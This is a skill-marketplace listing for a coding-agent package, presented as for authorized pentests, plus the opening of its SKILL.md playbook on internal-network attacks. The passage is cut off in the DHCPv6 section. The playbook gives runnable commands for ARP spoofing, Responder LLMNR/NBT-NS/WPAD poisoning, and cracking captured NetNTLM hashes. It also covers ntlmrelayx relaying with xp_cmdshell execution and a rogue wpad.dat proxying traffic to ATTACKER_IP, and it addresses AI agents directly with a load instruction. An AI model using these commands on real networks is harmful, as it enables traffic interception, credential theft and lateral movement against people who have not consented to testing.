Network Protocol Attacks
Run an authorized internal-network pentest playbook for MitM, name-resolution poisoning, and VLAN/DNS/IPv6 abuse with your coding agent.
Overview
Network Protocol Attacks is an agent skill for the Ship phase that guides authorized layer 2/3 MitM and poisoning attacks with chaining into relay and traffic analysis.
Install
npx skills add https://github.com/yaklang/hack-skills --skill network-protocol-attacksWhat is this skill?
- Covers ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, and DHCPv6 takeover patterns
- Documents VLAN hopping, STP manipulation, DNS spoofing, and IPv6 attack chains on switched networks
- Includes IDS/IPS evasion guidance and explicit chaining into tunneling, NTLM relay, and PCAP analysis skills
- Points to NAME_RESOLUTION_POISONING.md for Responder/mitm6 workflows and relay target selection
- Frames MitM as a pivot step before traffic redirection and credential relay—not isolated tricks
Adoption & trust: 1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
You need to exploit modern switched LAN protocols in a legal pentest but generic models skip poisoning chains, WPAD/DHCPv6 nuances, and IDS evasion.
Who is it for?
Authorized red-team or internal security work on corporate LANs where ARP/DNS/IPv6 and name-resolution poisoning are in scope.
Skip if: Builders who only ship app features, or anyone without explicit written permission to test the target network.
When should I use this skill?
Exploiting layer 2/3 protocols including ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 attacks, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion.
What do I get? / Deliverables
You get a repeatable attack playbook that links MitM setup to tunneling, NTLM relay, service exploitation, and PCAP review.
- MitM or poisoning position with documented chain to relay or tunneling
- Captured credentials or traffic suitable for PCAP analysis skills
- Assessment notes tying discovered services to follow-on exploitation skills
Recommended Skills
Journey fit
Network protocol exploitation belongs on the Ship shelf under Security—where you harden or assess infrastructure before production exposure. The skill is a layered-2/3 attack playbook (ARP, LLMNR, DHCPv6, STP, IDS evasion), which maps directly to security testing rather than feature build work.
How it compares
Use instead of ad-hoc “run Responder” chat when you need full L2/L3 chaining and related-skill routing in one skill package.
Common Questions / FAQ
Who is network-protocol-attacks for?
Security-focused solo builders, consultants, and small teams running authorized network penetration tests who want agent-guided protocol attack sequences.
When should I use network-protocol-attacks?
Use it in Ship → Security during internal network assessments, after scope approval, when you need ARP spoofing, LLMNR/mDNS poisoning, DHCPv6, VLAN/STP abuse, or IDS evasion with clear next steps into relay and PCAP skills.
Is network-protocol-attacks safe to install?
The skill describes offensive techniques—install only if you understand legal scope. Review the Security Audits panel on this Prism page before trusting the package in production agent environments.
Workflow Chain
Then invoke: ntlm relay coercion, tunneling and pivoting
SKILL.md
READMESKILL.md - Network Protocol Attacks
# SKILL: Network Protocol Attacks — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation. ## 0. RELATED ROUTING Before going deep, consider loading: - [tunneling-and-pivoting](../tunneling-and-pivoting/SKILL.md) after establishing MitM position for traffic redirection - [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relaying captured NTLM hashes from poisoning attacks - [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered during network attacks - [traffic-analysis-pcap](../traffic-analysis-pcap/SKILL.md) for analyzing captured traffic from MitM ### Advanced Reference Also load [NAME_RESOLUTION_POISONING.md](./NAME_RESOLUTION_POISONING.md) when you need: - Detailed Responder/mitm6 configuration and workflows - NTLM relay target selection and chaining - Credential format analysis and cracking priorities --- ## 1. ARP SPOOFING ### Gratuitous ARP — MitM Positioning ```bash # arpspoof (dsniff suite) echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP & arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP & # ettercap — ARP poisoning with sniffing ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP// # bettercap — modern framework bettercap -iface eth0 > set arp.spoof.targets VICTIM_IP > arp.spoof on > net.sniff on ``` ### Selective Targeting ```bash # bettercap — target specific hosts, avoid detection > set arp.spoof.targets 10.0.0.50,10.0.0.51 > set arp.spoof.fullduplex true > set arp.spoof.internal true > arp.spoof on ``` ### Detection Indicators - Duplicate MAC addresses in ARP table - Gratuitous ARP storms from non-gateway IPs - Tools: `arpwatch`, static ARP entries, 802.1X port authentication --- ## 2. LLMNR / NBT-NS / mDNS POISONING ### Responder — Credential Capture ```bash # Basic poisoning (LLMNR + NBT-NS + mDNS) responder -I eth0 -dwPv # Key flags: # -d Enable answers for DHCP broadcast requests (fingerprinting) # -w Start WPAD rogue proxy # -P Force NTLM auth for WPAD # -v Verbose # Analyze mode only (passive, no poisoning) responder -I eth0 -A ``` ### Captured Hash Formats | Protocol | Hash Type | Hashcat Mode | Crackability | |---|---|---|---| | NTLMv1 | NetNTLMv1 | 5500 | Fast — rainbow tables viable | | NTLMv2 | NetNTLMv2 | 5600 | Moderate — dictionary + rules | | NTLMv1-ESS | NetNTLMv1 | 5500 | Fast — same as NTLMv1 | ```bash # Crack captured hashes hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt ``` ### Relay Instead of Crack ```bash # ntlmrelayx — relay captured NTLM to other services ntlmrelayx.py -tf targets.txt -smb2support ntlmrelayx.py -t ldaps://DC01 --delegate-access # RBCD attack ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'" ``` --- ## 3. WPAD ABUSE ```bash # Responder with WPAD proxy responder -I eth0 -wPv # WPAD flow: # 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS # 2. Responder answers with rogue wpad.dat # 3. Browser uses attacker's proxy → forced NTLM auth → credential capture ``` ### Manual WPAD PAC File ```javascript // Rogue wpad.dat content function FindProxyForURL(url, host) { return "PROXY ATTACKER_IP:3128; DIRECT"; } ``` --- ## 4. DHCPv6 ATTACK — mitm6 Even on IPv4-only networks, Windows clients send DHCPv6 s